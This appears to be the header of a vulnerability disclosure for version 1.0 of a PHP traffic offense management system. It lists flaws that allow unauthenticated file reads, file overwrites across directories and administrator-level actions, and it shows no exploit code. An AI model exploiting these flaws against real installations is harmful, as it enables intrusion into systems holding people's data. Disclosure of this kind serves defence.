# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: 1.0
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
### Privilage escalation
# All requests can be sent by both an authenticated and a non-authenticated user
# The vulnerabilities in the application allow for:
* Reading any PHP file from the server
* Saving files to parent and child directories and overwriting files in server
* Performing operations by an unauthenticated user with application administrator rights
